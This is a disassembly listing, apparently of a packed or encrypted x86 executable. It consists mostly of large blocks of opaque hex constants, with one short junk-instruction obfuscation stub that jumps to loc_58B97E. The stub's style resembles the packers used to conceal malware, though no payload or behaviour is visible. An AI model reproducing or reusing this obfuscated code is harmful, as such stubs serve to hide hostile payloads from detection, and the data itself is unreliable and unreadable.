		dd 34742D53h, 0DC287317h, 0E0EC30C6h, 0E7D232B0h, 924EAC4Dh
		dd 9E37CF6Eh, 0D167E2B2h, 0B417E384h, 8C1A3A4Ch, 2BAD54E1h
		dd 4BB0DFBAh, 7CB2EFh, 0B3100000h, 0EBA630A7h, 305CC4ABh
		dd 0EBE73F65h, 65D33DBAh, 0B284A046h, 54DE911Ch, 727E33C5h
		dd 0D8305C67h, 7AAADE7Ch, 89E24F8h, 2F1FAE34h, 7379F628h
		dd 0A3FDE149h, 5BD9AEEEh, 0E83B6630h, 0C5E87DB5h, 7EC654EAh
		dd 5BF02B87h, 400C9630h, 7173D351h, 89B455B9h, 5228CC69h
		dd 0E1902ABCh, 305BEFA1h, 0EFF93173h, 5BF026B2h, 0A2346E30h
		dd 2F62103Ah, 305BF06Fh, 856D03A1h, 0A04A8A38h,	0E5700ED6h
		dd 8799BB8Ch, 71A58DEEh, 8A1499DBh, 0E7532DC2h,	2EB82FCAh
		dd 0BD9D1D94h, 2D77305Ch, 0CFAEE3C5h, 0C737B5A4h, 0C0B14BDDh
		dd 2873A4C0h, 0A9D36450h, 2FB94F55h, 73A53272h,	68C0E228h
		dd 0C22AA34h, 0D8109272h, 73A58D29h, 2ECF7328h,	19FC13EDh
		dd 20538Ch, 0B3770000h,	0ECA537A0h, 37B5AAEDh, 7E27FFA5h
		dd 2873AA62h, 8653FA06h, 8C19FB3Eh, 0B3B8h, 0A04A0A00h
		dd 0AF420ED6h, 0B74571CDh, 0BF5D79C5h, 155130BDh, 57305CC0h
		dd 0C2C2BFC5h, 52305CBFh, 8133C250h, 0D77F096Bh, 0BCF03840h
		dd 4FD94EE9h, 0B59F8352h, 17BF4937h, 87077A02h,	8928739Fh
		dd 7133DF1Bh, 198EA9FCh, 0C703128Fh, 0F1B32FC7h, 225AFF67h
		dd 383FE88h, 0F72087C6h, 87C5FABAh, 4881A20h, 2FF785A8h
		dd 0A62B0795h, 1C95E70Ah, 3C4BE612h, 0EA8D2232h, 0D7000001h
		dd 1FB93444h, 40EC81FBh, 0F721CCAEh, 24901D9Fh,	52CA6B11h
		dd 2450E5D5h, 76F62F89h, 0C2BA5DFFh, 96B8133h, 0EAA70364h
		dd 286BB0AAh, 4A72506Ah, 0FC58D5A7h, 31911C5Eh,	0A537A0B3h
		dd 0B5AAEDECh, 27FFA537h, 73AA627Eh, 53FA0628h,	19FB3E86h
		dd 0D3B88Ch, 4A0A0000h,	700ED6A0h, 0EB3B41D4h, 90A511D9h
		dd 0C68E18E4h, 0E4E54DCFh, 305CBF68h, 65086A80h, 0F6445DF9h
		dd 0AF8B1963h, 0CB93E10Bh, 0FB895527h, 5CC00686h, 0E1900E30h
		dd 305CBFA1h, 0DA33173h, 66F17C31h, 0F1A03AD4h,	305CBFB1h
		dd 50504163h, 0C0305CC0h, 0E19016E2h, 37B59ED2h, 0F8B34260h
		dd 413BDC7Dh, 35097385h, 128F19AFh, 2FC7C95Ch, 1CB85250h
		dd 25BF8705h, 0DE73DBCDh, 0CF97179Eh, 3F9B5729h, 0B9D7621Ah
		dd 0C53C4BE2h, 1035609h, 2DCE0000h, 0E276A253h,	95BB1598h
		dd 0B6EE4AEBh, 0FA1FB934h, 0BC7DF382h, 0B24339DCh, 0E08D0F06h
		dd 54D9A3B4h, 8D2052F8h, 0C3C3BEE8h, 4D286BAFh,	0A74A493Fh
		dd 34CE58D5h, 5CC53D7Dh, 65CDD730h, 54D99BB1h, 0B3EE78EEh
		dd 305CC4F3h, 0FAB871Dh, 7B393EDh, 82D98CF5h, 5F0DBBDEh
		dd 0DE26A6FFh, 0E4BF36C4h, 804CDE49h, 0C620086Ah, 4CDF1ECBh
		dd 98327038h, 945C1E3Ch, 9CDE7C58h, 61FB9511h, 6ADF7030h
		dd 8F02A028h, 286ADF0Fh, 0DF0686FBh, 940E286Ah,	6A4EAAF8h
		dd 8924B6C0h, 8283437Eh, 8A48CE8h, 0A7969B99h, 6CE5868h
		dd 83FE88F2h, 0E7A79703h, 375B970Dh, 0BEB85296h, 5778537h
		dd 1227AF39h, 0FA2A8E6Ah, 4D73A478h, 0A0D278ACh, 8A07910Dh
		dd 0E7A7970Ah, 6450980Ah, 18392D6h, 1E3C9373h, 46000000h
		dd 47C5DC78h, 0B70DE5FFh, 66265BF5h, 66305CC5h,	4F55A9D3h
		dd 0B6C66B47h, 6AC6546Eh, 0D7A14A58h, 0CFA9430Fh, 0C4B45B77h
		dd 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h, 0B3CD636Fh
		dd 0A9D36753h
		db 55h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, 7F109A0h
		push	eax
		pop	esi
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		add	dword ptr [esp], 4B011A97h
		pop	dword ptr [eax+8]
		sub	dword ptr [eax+8], 4B011A97h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 0F066h
		dd 0CEF181D7h, 793B4C0Ah, 0F116ACB8h, 0FFC50307h, 68EB84E0h
		dd 6D7C3951h, 4698DC1Fh, 8551810h, 0B668E964h, 0B7C09421h
		dd 34C1B46Ah, 0ECE948h,	0
		dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h,	10ED7C90h
		dd 7C90h, 276F2h, 5 dup(0)
		dd 0ADA00000h, 7C80h, 2Bh dup(0)
		dd 60000h, 31110000h, 9BABF59Ch, 3BF9BB4Ah, 6691B31Ah
		dd 8F243215h, 6622321Bh, 92A5B75Ch, 60E2B529h, 88B1E67h
		dd 0DD44FB80h, 6970AE39h, 66883999h, 0E84B5215h, 66223215h
		dd 7E78D1Ah, 7E2D8F96h,	134435FCh, 239FB11Ch, 6616DB0Fh
		dd 35D82B61h, 77FCF29Eh, 0EF223211h, 8F00CB90h,	0A815BF12h
		dd 9943D9C2h, 0E57A69C6h, 8F0B77A8h, 71FC3212h,	77FC6145h
		dd 0EF223211h, 8F00CB90h, 0DB15BF12h, 9943D9C1h, 67A69C6h
		dd 0E7C7B973h, 0F3806CEh, 76AD536Fh, 0C8223215h, 0A3F6A8D5h
		dd 0CD79E6FEh, 0F7E5F9CEh, 0E551BE64h, 629836F9h, 69E86A31h
		dd 66443290h, 7D8B915h,	71698F96h, 698835E4h, 66444791h
		dd 0E3AFC715h, 61E1A390h, 669CDA75h, 4D103215h,	0B572E2BBh
		dd 38813FBEh, 0DEF46C3Bh, 51C60352h, 0E12DF7B4h, 66113215h
		dd 6681DA4Bh, 8A613215h, 30E40277h, 692BBD52h, 7D6F4AAh
		dd 6CADE2EAh, 0CE223215h, 37D56BE5h, 0B19735E0h, 6655DB43h
		dd 0A31A3215h, 0D29F2913h, 9F9AAC72h, 690F3AA1h, 0EB8FE254h
		dd 96808790h, 0B677CE12h, 0C1C68C75h, 0ED4402C5h, 0E3D753EBh
		dd 6161144Ch, 342CCA43h, 69BE9AADh, 66113C97h, 6681DB15h
		dd 82C3215h, 1448890Dh,	99D42A9Dh, 8F8323A0h, 6648DB12h
		dd 0F04D3215h, 6DC20200h, 340B616h, 0E3C9E224h,	61CEADCEh
		dd 661122FCh, 5DA3DD15h, 0D8A30F5Bh, 25A63E4Bh,	0E2F09F31h
		dd 658CD93h, 0B132F494h, 9F4301E6h, 4D6CB79Ch, 0E28735FCh
		dd 66443214h, 67AE3DE9h, 93113215h, 7A69B7D2h, 664435FCh
		dd 0EC2D3215h, 6611321Dh, 1432C775h, 70D03AFh, 407BB7D3h
		dd 8F5435FCh, 66883218h, 59D7CE33h, 9F99AF62h, 0D2FD6576h
		dd 0FE15AC8h, 624BC67h,	0A1A2FD9Fh, 14A75351h, 0D8EE5274h
		dd 0EC24DC82h, 7FC87CCh, 0FA4CD74h, 9F8FDB33h, 5CF8B798h
		dd 99DB35FCh, 0AC9052C5h, 5795FB4h, 6647BC1Ah, 0D12D3215h
		dd 0E31E53DEh, 66883214h, 5FC1BBEDh, 6925DB20h,	66112B9Fh
		dd 669CDB15h, 0F6223215h, 7391DE4h, 0F6EB0CCDh,	966620B0h
		dd 3F6CC4FAh, 0E3E4E999h, 61F8144Ch, 9C035256h,	664439FCh
		dd 0DF7C315h, 0F9C37C63h, 2470520Ch, 0D1A5A74h,	99D7AE72h
		dd 8F375BA0h, 6A003D12h, 69443215h, 66223496h, 669A3D15h
		dd 0EB883215h, 8F7E8E90h, 75A53D12h, 8F113215h,	6688321Bh
		dd 9517DA2h, 9C797941h,	0ACF34B9Eh, 0B677F9ABh,	6C1BBECh
		dd 9F25C302h, 4048B7D3h, 6DC35FCh, 0B6CFF39Fh, 0E0B5A74h
		dd 0E51EDC77h, 66883202h, 664420FCh, 0E58AAC15h, 56656BD5h
		dd 0E3DF00EDh, 0BDFC82A7h, 9FBE2DD3h, 407887EAh, 0E835FCh
		dd 392BAAh, 72A9CAEh, 6605DA75h, 2A853215h, 670B3191h
		dd 4F2043FAh, 551C4681h, 3D31B8A1h, 691ECFF5h, 6622309Fh
		dd 7705215h, 5C34B798h,	0E72435FCh, 0D3D863E2h,	7DAB914h
		dd 7561E2EAh, 0D4443215h, 91557B5Eh, 2F9E1E27h,	6B5327F6h
		dd 296F31D5h, 0E3AB372Ch, 61E02571h, 6681BA1Ah,	0D0243215h
		dd 64528962h, 670517Eh,	69C6C595h, 6644329Dh, 0E3E45315h
		dd 61F8144Ch, 6A023D50h, 69443215h, 66223498h, 66963D15h
		dd 0E883215h, 0BC240AD7h, 66223CFCh, 66E0E915h,	0B406E3D8h
		dd 0E4B9CCCAh, 65F221Eh, 661ADB75h, 0CBCE3215h,	8D788A2Eh
		dd 0E5F94F8h, 96905494h, 8FE9418Dh, 6644321Ah, 3CD7C005h
		dd 0F2996C77h, 0D59A3A50h, 7DAAD34h, 404B87EAh,	0EA1E35FCh
		dd 6688321Dh, 0E6FECA75h, 76BA2FDh, 5CADB798h, 9E7035FCh
		dd 624E2EAh, 38C295h, 73AA5AFh,	0E0DBB74h, 9343C302h, 7D4B8F96h
		dd 691135FCh, 66893890h, 3F125215h, 0A043FA9Eh,	8F376B90h
		dd 69E87712h, 6644349Ch, 66A43D15h, 0ED113215h,	0ED8753EBh
		dd 66443212h, 6623BB1Ah, 0EE43215h, 9CA84C93h, 0B0CF52E9h
		dd 994386A3h, 8F375BA0h, 0ED875212h, 66443213h,	6622B81Ah
		dd 6EF83215h, 0B8883215h, 8B98EE88h, 77D3454h, 5CADB798h
		dd 0EDE835FCh, 0B6BB53EBh, 0FB995475h, 6B913D3Ch, 8F883215h
		dd 6644321Dh, 2955A35Ah, 9A66BC0h, 0A0DBB74h, 8F43C302h
		dd 66223204h, 700B9C00h, 7F2F8F91h, 13964E0Dh, 800A0F7Ch
		dd 3F94F47Ch, 2A8FDB33h, 6645B31Ah, 0EDE3215h, 8637E2D6h
		dd 66883FFCh, 0F8BB2C15h, 0DAC6182Fh, 1B14B953h, 0D3773BD0h
		dd 61AD147Ch, 0A0F08D75h, 711A0Ah, 9F2F00ABh, 0E3C95374h
		dd 61CB08A9h, 69C1CDE0h, 66883390h, 0E3CDCE15h,	61D32565h
		dd 66113EFCh, 61DACE15h, 9335AAF7h, 0A53B2232h,	6710DB4Dh
		dd 0E83215h, 6FE5E194h,	6622B11Ah, 0A0703215h, 8FAE6B90h
		dd 6246012h, 6622B31Ah,	7ED3215h, 668835FCh, 6E3AC15h
		dd 0B9D24C93h, 821C5A74h, 75618E5Fh, 0A4443215h, 52C8B600h
		dd 0F226AD85h, 0CC9FAB9Fh, 0C8B9003Bh, 99DB3667h, 8F0847A0h
		dd 0E305CA12h, 61AD08A9h, 509A5475h, 7ECB894h, 0E787E2EAh
		dd 6644320Ch, 662226FCh, 20860C15h, 381C9979h, 0A1E04E1Fh
		dd 0F95EA13Eh, 484C4A16h, 0A0DBBF6h, 643C302h, 6622B31Ah
		dd 0C1A23215h, 3F0DF474h, 3443DB33h, 662FDBE9h,	80E3215h
		dd 9163CC30h, 0F136C1D3h, 0E25047Fh, 0C05D785Dh, 133DCDE0h
		dd 8F43DB0Ch, 66223218h, 92B1062Fh, 0F202A30Dh,	6C1772CAh
		dd 0DAA7BF4Ah, 616DB2Fh, 7049B373h, 9799B225h, 0B6DDCA74h
		dd 1694BBEDh, 68FC302h,	0E44BF19Eh, 66223216h, 7F8F495h
		dd 6685BF1Ah, 6EAD3215h, 86223215h, 989C2420h, 0A031CC96h
		dd 8F626B90h, 60CB6012h, 0DC113215h, 0A0AE00B4h, 0D2AE5AE9h
		dd 42CF57h, 696608ADh, 66883196h, 0B7F33D15h, 0F97CD74h
		dd 6916DB33h, 66883397h, 0E3C9CA15h, 61CB08A9h,	661123FCh
		dd 533E1915h, 5B529719h, 5947A46Ah, 2FB7C3FCh, 997173D1h
		dd 0E3CDCBC5h, 61CB296Ch, 6616BA1Ah, 0EC873215h, 66443214h
		dd 0E3E4CBEDh, 61F8144Ch, 6A013D62h, 8F443215h,	66223212h
		dd 0A1FE552Eh, 0EF8DB99h, 95D39AB6h, 66223BFCh,	60984315h
		dd 0EFECF5C2h, 0D3BBC0C6h, 61CB24A0h, 0BE9A6375h, 1C33524Dh
		dd 286D4Fh, 743F09Eh, 5CADB798h, 0E48735FCh, 66443212h
		dd 6623BC1Ah, 99ED3215h, 870252C5h, 3C255247h, 67A33D74h
		dd 9A113215h, 6639B79Ch, 0E62435FCh, 0A6A340E4h, 3EDC3F3Fh
		dd 39305274h, 31F7C7h, 853AF994h, 3F94F474h, 348FDB33h
		dd 66443DFCh, 337F9B15h, 2592AB4Bh, 325A47C0h, 9A8819h
		dd 0BB13257Dh, 661EDB9Fh, 3F23215h, 0BE53DBEh, 0C1512D56h
		dd 0D6227BAAh, 0F3DCDC6h, 6943DB33h, 66223392h,	0E39CC715h
		dd 616108A9h, 301D6475h, 8F4368E0h, 6611321Bh, 180454A6h
		dd 7582A5ABh, 0C925F70Eh, 0B6EEA01Bh, 668838FCh, 0C4888B15h
		dd 813F106Dh, 0EF5A3BCBh, 8F877790h, 6ACA3D12h,	8F223215h
		dd 66113212h, 42813374h, 0A01447D6h, 8F046B90h,	8E716412h
		dd 6688321Fh, 2B9E4B46h, 6D1964F7h, 0BE9A3A9Eh,	16E8A4Ah
		dd 0E25747Ah, 0B23D5F2Ch, 6616DB75h, 9E003215h,	0B7D4B4CFh
		dd 6ACB52CEh, 0CE113215h, 0C6DF1527h, 0DA83EDE4h, 8E1FF8CEh
		dd 66113212h, 0DD104E2Bh, 392173FFh, 0D3DD5374h, 61F83904h
		dd 668EB81Ah, 30243215h, 779614Ah, 0F9CAB798h, 997435F9h
		dd 6656DBC5h, 368F3215h, 319A9AC3h, 92086B71h, 9FBEF2Dh
		dd 82CA33CBh, 6754B79Ch, 0DEE835FCh, 0B11C9Eh, 59FBB373h
		dd 0E3D75396h
		dd 6161144Ch, 1C2CCB52h, 8FA3EE05h, 6611321Fh, 98FCDDCBh
		dd 0D4B21BB1h, 0D3DD59D6h, 61F8147Ch, 66883BFCh, 91A07115h
		dd 0A3AF55ECh, 0E39C5C0Ch, 616108A9h, 6649B71Ah, 6ECB3215h
		dd 0A6113215h, 6C1883Ch, 8FFE951Dh, 6622321Ch, 2C1E3C17h
		dd 6CB571FEh, 8F94CD8Ch, 6622321Bh, 9AC94DCAh, 0EB597848h
		dd 729945EAh, 0E3AB325Bh, 61F83948h, 66883AFCh,	296A4315h
		dd 6FAE5517h, 3F94F4CCh, 218FDB33h, 62C23DE9h, 6223215h
		dd 0E70E59Fh, 0EC8787F7h, 664438FCh, 5E004715h,	62871EDEh
		dd 99B7FD16h, 8F625BA0h, 0E3AFCB12h, 61F808A9h,	668EBE1Ah
		dd 31243215h, 743524Bh,	60F8E2EAh, 6C883215h, 0C7819740h
		dd 0F6A7BB5Eh, 616C302h, 0A103F89Fh, 6FC1F574h,	1E25DB08h
		dd 93113215h, 4F6D8F96h, 694435FCh, 663B0391h, 0E3D7CA15h
		dd 6161144Ch, 0E7225259h, 37E572C5h, 6706DEDh, 0C3B9E7AFh
		dd 664FDA73h, 0C65C3215h, 0B07FCC4Bh, 2730943Bh, 71AC73Eh
		dd 0BC3EDB7Dh, 0D3EECECCh, 6161147Ch, 6645BA1Ah, 0EBDA3215h
		dd 8F2B8E90h, 0B677CA12h, 1AC1BBE9h, 6925C302h,	66111494h
		dd 6B605215h, 88443215h, 7E52D11Bh, 85E42708h, 0D2C31D34h
		dd 664FDA4Eh, 59653215h, 7193630Eh, 0C58D5B78h,	0A0256A8Dh
		dd 8F046B90h, 717E12h, 0EE9E29Eh, 0BB30ECDBh, 6628B41Ah
		dd 63F83215h, 0B5883215h, 0F04D3Eh, 404B87EAh, 8F7135FCh
		dd 6688321Ah, 28457EEDh, 845CDA3Eh, 7AEE9E7Ch, 8FC239F9h
		dd 6644321Ah, 7ADCAEC5h, 0D18A7DA8h, 0BE1C2F04h, 72E01EEh
		dd 5C9EB798h, 7135FCh, 0A709E29Eh, 20DDA467h, 93F2CD74h
		dd 7191B79Ch, 606135E4h, 2443215h, 6658306h, 3F94F473h
		dd 2A8FDB33h, 664438FCh, 3D210215h, 10C31D67h, 0EBFE932h
		dd 0D1C5B02Ah, 6628BB1Ah, 63F83215h, 42883215h,	0E29D8C7Dh
		dd 404B87EAh, 6CF835FCh, 6A883215h, 197924B0h, 8F1D5783h
		dd 0E39CC7E4h, 616108A9h, 0B6F33D75h, 8FF2CD74h, 6611321Fh
		dd 25752B67h, 0E5CC31FAh, 0EFDA67F5h, 9706B690h, 6686DB12h
		dd 20F73215h, 8397C5E5h, 4FA22818h, 4AE000EEh, 401DB7D3h
		dd 8F6E35FCh, 66113205h, 8988F114h, 0ABADA193h,	58EAA5B5h
		dd 0F03E44FFh, 49C82A7Dh, 67C13DA6h, 9F223215h,	407887EAh
		dd 0EB7435FCh, 8F7E8E90h, 6AAB3D12h, 69113215h,	6688349Eh
		dd 66C43D15h, 99223215h, 6618DBC5h, 5BCF3215h, 2F5D5473h
		dd 0EF157110h, 9706B690h, 0E34ECB12h, 61AD144Ch, 6FA13D53h
		dd 6113215h, 0F733ABA3h, 7379B10h, 0B824267Dh, 0D3EECAAFh
		dd 6161147Ch, 6648B91Ah, 61CB3215h, 0BF113215h,	0CE614695h
		dd 0EBB14231h, 8F188E90h, 619B3D12h, 69883215h,	66443392h
		dd 0B6DDCE15h, 48AB5475h, 742B99Dh, 71C8B79Ch, 0A0DA35E4h
		dd 8F376B90h, 74617512h, 2A443215h, 0ED12CFA1h,	6DE47FAAh
		dd 2C64FFE8h, 0A9F024DFh, 76585AF3h, 71B3C9h, 0B93ED894h
		dd 0B1FB3D75h, 662222FCh, 84DC7115h, 0C4EC38C3h, 0C0E6C8F5h
		dd 1D25E3B1h, 997053A7h, 8FAE5BA0h, 6650DB12h, 0A4313215h
		dd 372EEFADh, 0A7A19B6Bh, 0C810966Eh, 0EF5C037Eh, 0E39C0A70h
		dd 616108A9h, 6645B91Ah, 99DE3215h, 67993DC5h, 9A883215h
		dd 665CBB1Ah, 0D2423215h, 661EDB57h, 5F033215h,	80EDD75Ch
		dd 0AF4AC78Dh, 94E42802h, 0E30153FDh, 61B52581h, 662239FCh
		dd 0BD8F5C15h, 0BF070E29h, 0B1D46E6Eh, 407BB7D3h, 9E5635FCh
		dd 0E1069E7Dh, 0D3BBCEFAh, 61CB147Ch, 6610BA1Ah, 0EB743215h
		dd 8F7E8E90h, 6ACA5212h, 27113215h, 0BFA339Dh, 89BCD1C3h
		dd 39D63EBBh, 661135FCh, 46E715h, 0B5FEC964h, 6628DB74h
		dd 3B8D3215h, 5765F3Fh,	0BA003227h, 0E72DE2EAh,	6611320Ch
		dd 668826FCh, 0B6019E15h, 0C6342C34h, 32FE8C93h, 642E9ADEh
		dd 234EA38Dh, 0FEA7BBFBh, 6916C302h, 6688209Bh,	6EAD5215h
		dd 5F223215h, 5891F194h, 0E6801347h, 0A02535CBh, 8F046B90h
		dd 0E41E7512h, 6688320Eh, 6651B61Ah, 76CB3215h,	40113215h
		dd 0BDD8DA68h, 0CE02292Bh, 0C0BA534Eh, 0ED589E7h, 0B21295C7h
		dd 664437FCh, 4B90E215h, 0D3EE24A8h, 6161147Ch,	664420FCh
		dd 0D3A83A15h, 0B31317EFh, 1E025F2Bh, 6DB438EFh, 0EBB0F33Bh
		dd 8F2B8E90h, 0E85212h,	0B3D1AEh, 7D3BF994h, 7C4B874h
		dd 6683DB75h, 0EA703215h, 3B2D25B1h, 2365FEFEh,	6A0C3DBDh
		dd 8F443215h, 66223212h, 84833AD0h, 7A6D0A0h, 0EFB1E2EAh
		dd 9735AE90h, 3DA95212h, 0ED8ED9DFh, 0E38253C6h, 61CB144Ch
		dd 6279C752h, 9F32F32Ch, 402D87EAh, 0EBDA35FCh,	8F2B8E90h
		dd 0B677C712h, 664423FCh, 8FFF5815h, 3A53B7B2h,	0A5C912FCh
		dd 0B689ABD5h, 0E3AB9B6Ch, 61E025B5h, 6335B1E9h, 6643DB31h
		dd 667FB71Ah, 713215h, 9922DC94h, 6644BE1Ah, 0A0433215h
		dd 8F376B90h, 0EA877512h, 66443204h, 6629BB1Ah,	60F83215h
		dd 95883215h, 0CA39B052h, 4B455AA6h, 0E01ED267h, 66883214h
		dd 0FF1CDE9h, 9325DB33h, 5CADB798h, 997135FCh, 664EDBC5h
		dd 48AC3215h, 0EB39885Bh, 2C5D4445h, 71E0B79Ch,	0A0DA35E4h
		dd 8F376B90h, 0E7D7512h, 0E86D81A4h, 662237FCh,	0A6911715h
		dd 0D37730A9h, 61AD147Ch, 662226FCh, 67AF5215h,	4B204ADDh
		dd 89EBDC7Eh, 56C89A6Ah, 648C2ECBh, 0DA0DBF88h,	9E43DB2Fh
		dd 0EFD7E2EAh, 97069A90h, 69E85212h, 6644329Fh,	19F0B315h
		dd 72F41E6h, 66073D46h,	3F443215h, 3FA7F474h, 2516DB33h
		dd 668FB71Ah, 30243215h, 98E1B24Dh, 2CB65A74h, 0EB87F263h
		dd 6644321Dh, 66A53D75h, 7113215h, 40E187EAh, 0ED2435FCh
		dd 387263C2h, 0E39C534Eh, 616108A9h, 39136175h,	0D598544Bh
		dd 0B6EE5332h, 61615275h, 48443215h, 0ECAAF65Fh, 3D439A20h
		dd 77D5274h, 0CAC1BB74h, 9F25C302h, 4048B7D3h, 6C435FCh
		dd 30BD8D1Ah, 0E436CE0h, 9D775EFEh, 0D33DCDE9h,	8F43DB03h
		dd 66223204h, 63883AB7h, 68F7206h, 37573633h, 0EFE8CDFFh
		dd 0DA94BFDCh, 8F8FDB2Fh, 6644321Eh, 2F0579Eh, 77BC26FFh
		dd 99D0538Eh, 96CF52C5h, 662CDB74h, 615E3215h, 0FDF28A0Ch
		dd 11740B25h, 14B15331h, 7E51B79Ch, 0E58735E4h,	6644321Eh
		dd 662234FCh, 7B4D0415h, 0A00C80E4h, 8F626B90h,	0ED77612h
		dd 0DD62BC40h, 66883BFCh, 0A02B2515h, 14717AAEh, 34712322h
		dd 668826FCh, 82145915h, 86C96337h, 0A8EA17B8h,	4DCAE8B9h
		dd 6928D859h, 9943694Dh, 8F375BA0h, 668FDB12h, 0CB113215h
		dd 0F9BC781Dh, 0DA94BF60h, 9E8FDB2Fh, 6CADE2EAh, 42223215h
		dd 0E7FB498Ah, 27F8309Bh, 0D6C1BB26h, 8F25C302h, 66113201h
		dd 999E6568h, 7B773653h, 0BACBA21Bh, 128D147Dh,	52A9F400h
		dd 401DB7D3h, 8F6135FCh, 66113219h, 87A59CABh, 0C5DCE611h
		dd 0DAC4A7E8h, 39E46375h, 8745A74h, 9F248E9Bh, 0F97CD74h
		dd 9E16DB33h, 5C34B798h, 63AD35FCh, 8E223215h, 0E34F9BD8h
		dd 0E887E2EAh, 66443204h, 6625DB75h, 6D473215h,	5CED6B1h
		dd 95FB3D6Fh, 0D2A7BB74h, 8F16C302h, 6688321Eh,	3EF518FCh
		dd 0B41B902Ah, 9E6E6805h, 40D1B7D3h, 61735FCh, 0F7E3B3E0h
		dd 74E2EE9h, 76B6987Dh,	0EA4B52D3h, 66223215h, 7C9851Ah
		dd 40E187EAh, 8F2435FCh, 6622321Ch, 6D3A6D16h, 8B976F0Eh
		dd 7DE8187h, 5C9EB798h,	0E77135FCh, 0B7DD21E3h,	7E08154h
		dd 74CBE2EAh, 56113215h
		dd 4C87DC1Eh, 0E25FD672h, 31A8A035h, 979FFCD8h,	0DE0DBB48h
		dd 9F43C302h, 6E5F8F96h, 691135FCh, 668BF091h, 6AC13D15h
		dd 8F223215h, 66113212h, 0EAE6A6AEh, 0A0B038D3h, 8F046B90h
		dd 0EE97412h, 9C1EFC24h, 0FF1CDEDh, 8F25DB33h, 66113210h
		dd 0CA586846h, 0DAC1BF61h, 8F25DB2Fh, 66113207h, 24C75CBCh
		dd 9CDC27DBh, 6348163Fh, 0AD76E533h, 0B677F028h, 6643B61Ah
		dd 0E42D3215h, 66113214h, 6681DBECh, 50943215h,	7A0E4B38h
		dd 0EF8D599Eh, 97902690h, 0A0255212h, 8F046B90h, 0E31E7412h
		dd 6688321Ah, 664438FCh, 0BCB23B15h, 8DC3903Bh,	0E25A53Eh
		dd 9AE308C3h, 81995475h, 659C3D42h, 69883215h, 9925F3AAh
		dd 8F045BA0h, 661BDB12h, 0E76B3215h, 14FD6150h,	207F1220h
		dd 661FDB75h, 0A6783215h, 0D76A89D9h, 0C1D96E81h, 96731E22h
		dd 2799DB94h, 0EB255487h, 8F188E90h, 0E31E5212h, 66883213h
		dd 6644B91Ah, 69CB3215h, 0FB113215h, 0F324ED05h, 9A04D08Ah
		dd 0CCA3DCF0h, 6970C67Dh, 66883A97h, 64C53D15h,	6223215h
		dd 8FC1CD74h, 66883210h, 976FCF64h, 42A7BBE5h, 8F16C30Dh
		dd 6688321Eh, 6B35F23Eh, 2053597Bh, 0A0BB6A03h,	8FAE6B90h
		dd 6EAD7412h, 28223215h, 123AD850h, 6920F6FFh, 6644269Bh
		dd 68AC3D15h, 8F113215h, 6688321Ch, 0DE8B94DAh,	85F3FAB5h
		dd 0C2115A08h, 9974A0E9h, 8F625BA0h, 6DAE3D12h,	6113215h
		dd 6688B51Ah, 92C43215h, 0EBDB5373h, 8F2B8E90h,	67083D12h
		dd 93443215h, 0EFDBE2EAh, 97091A90h, 668EDB12h,	78B53215h
		dd 0A2CB1AB3h, 4048B7D3h, 69CE35FCh, 66443C95h,	662BDB15h
		dd 365F3215h, 0C6942154h, 934C1419h, 0B26D587Dh, 619A3DE3h
		dd 69883215h, 6644339Ah, 0D3DDCB15h, 61F8147Ch,	66883EFCh
		dd 0B37C0E15h, 5EB9F009h, 2C50FBBFh, 0E305CA98h, 61AD08A9h
		dd 98953D75h, 0F0F7B373h, 0B6775354h, 3F145275h, 4B9453ECh
		dd 0B0905274h, 4CF66923h, 79AB973h, 7E0EB79Ch, 0E01E35E4h
		dd 66883219h, 6642BE1Ah, 0E12D3215h, 66113215h,	40D1B7D3h
		dd 9A0235FCh, 0AB72D57Dh, 6616DB81h, 7CE3215h, 4B9FC788h
		dd 0F97CD59h, 8F16DB33h, 66883218h, 821B84D0h, 6F407586h
		dd 0E63884D2h, 0DA0DBF31h, 9A43DB2Fh, 75CBE2EAh, 0F1113215h
		dd 0C305F5B3h, 0A1B296D8h, 3A2148h, 8C2D9B7Eh, 0E301DEA9h
		dd 61B52A0Dh, 60AF3D75h, 0E7113215h, 0A3CB42D6h, 6650DA18h
		dd 0C5BF3215h, 0BFA56A65h, 0ACBB6977h, 6F66DEF0h, 19F46392h
		dd 74BC15Ch, 40D1B7D3h,	8F0235FCh, 66223218h, 7F359DC8h
		dd 0CEED0BFAh, 5A0F2565h, 12195A99h, 69718337h,	6688309Bh
		dd 8F1F6115h, 66223213h, 9DAF4838h, 6E91EBCh, 3D14B4A7h
		dd 0F97CD74h, 8F16DB33h, 66883212h, 0AB647729h,	0EBFCF0E4h
		dd 8F2B8E90h, 0B677CE12h, 664420FCh, 0D6EFCB15h, 0ACDFFF8h
		dd 0BC094CECh, 424FE410h, 0EF2E46A0h, 97092E90h, 0E5875212h
		dd 66443210h, 7B0795AFh, 0E7775277h, 9EF14BE6h,	0E3825374h
		dd 61CB144Ch, 0E7775253h, 0D7674CFDh, 8B2C5385h, 9FFD4BFFh
		dd 407887EAh, 0E835FCh,	8FA5AEACh, 66223204h, 2BAFC67Bh
		dd 7AEE71EBh, 81F11B90h, 141325B3h, 0E11E5328h,	6688321Bh
		dd 6643DB75h, 0E7CE3215h, 0F859922Dh, 0E3055398h, 61AD08A9h
		dd 662EDB75h, 94673215h, 0DCD339FEh, 0C56B7BA6h, 0DC443D1Fh
		dd 99709702h, 0E301CAC5h, 61B52A35h, 6635B61Ah,	74F83215h
		dd 59883215h, 4FED4C44h, 328649D4h, 182059BBh, 22B0579Ch
		dd 6AC43D41h, 8F223215h, 66113212h, 0A8B52DB8h,	0E5FDA22Bh
		dd 8F0637A8h, 0E31E3212h, 66883284h, 0A025C775h, 8F046B90h
		dd 61F86112h, 0AD883215h, 89D4D69Bh, 6427503h, 661121FDh
		dd 197A9015h, 6DDBC660h, 52A803CAh, 8CE17165h, 41566F3Dh
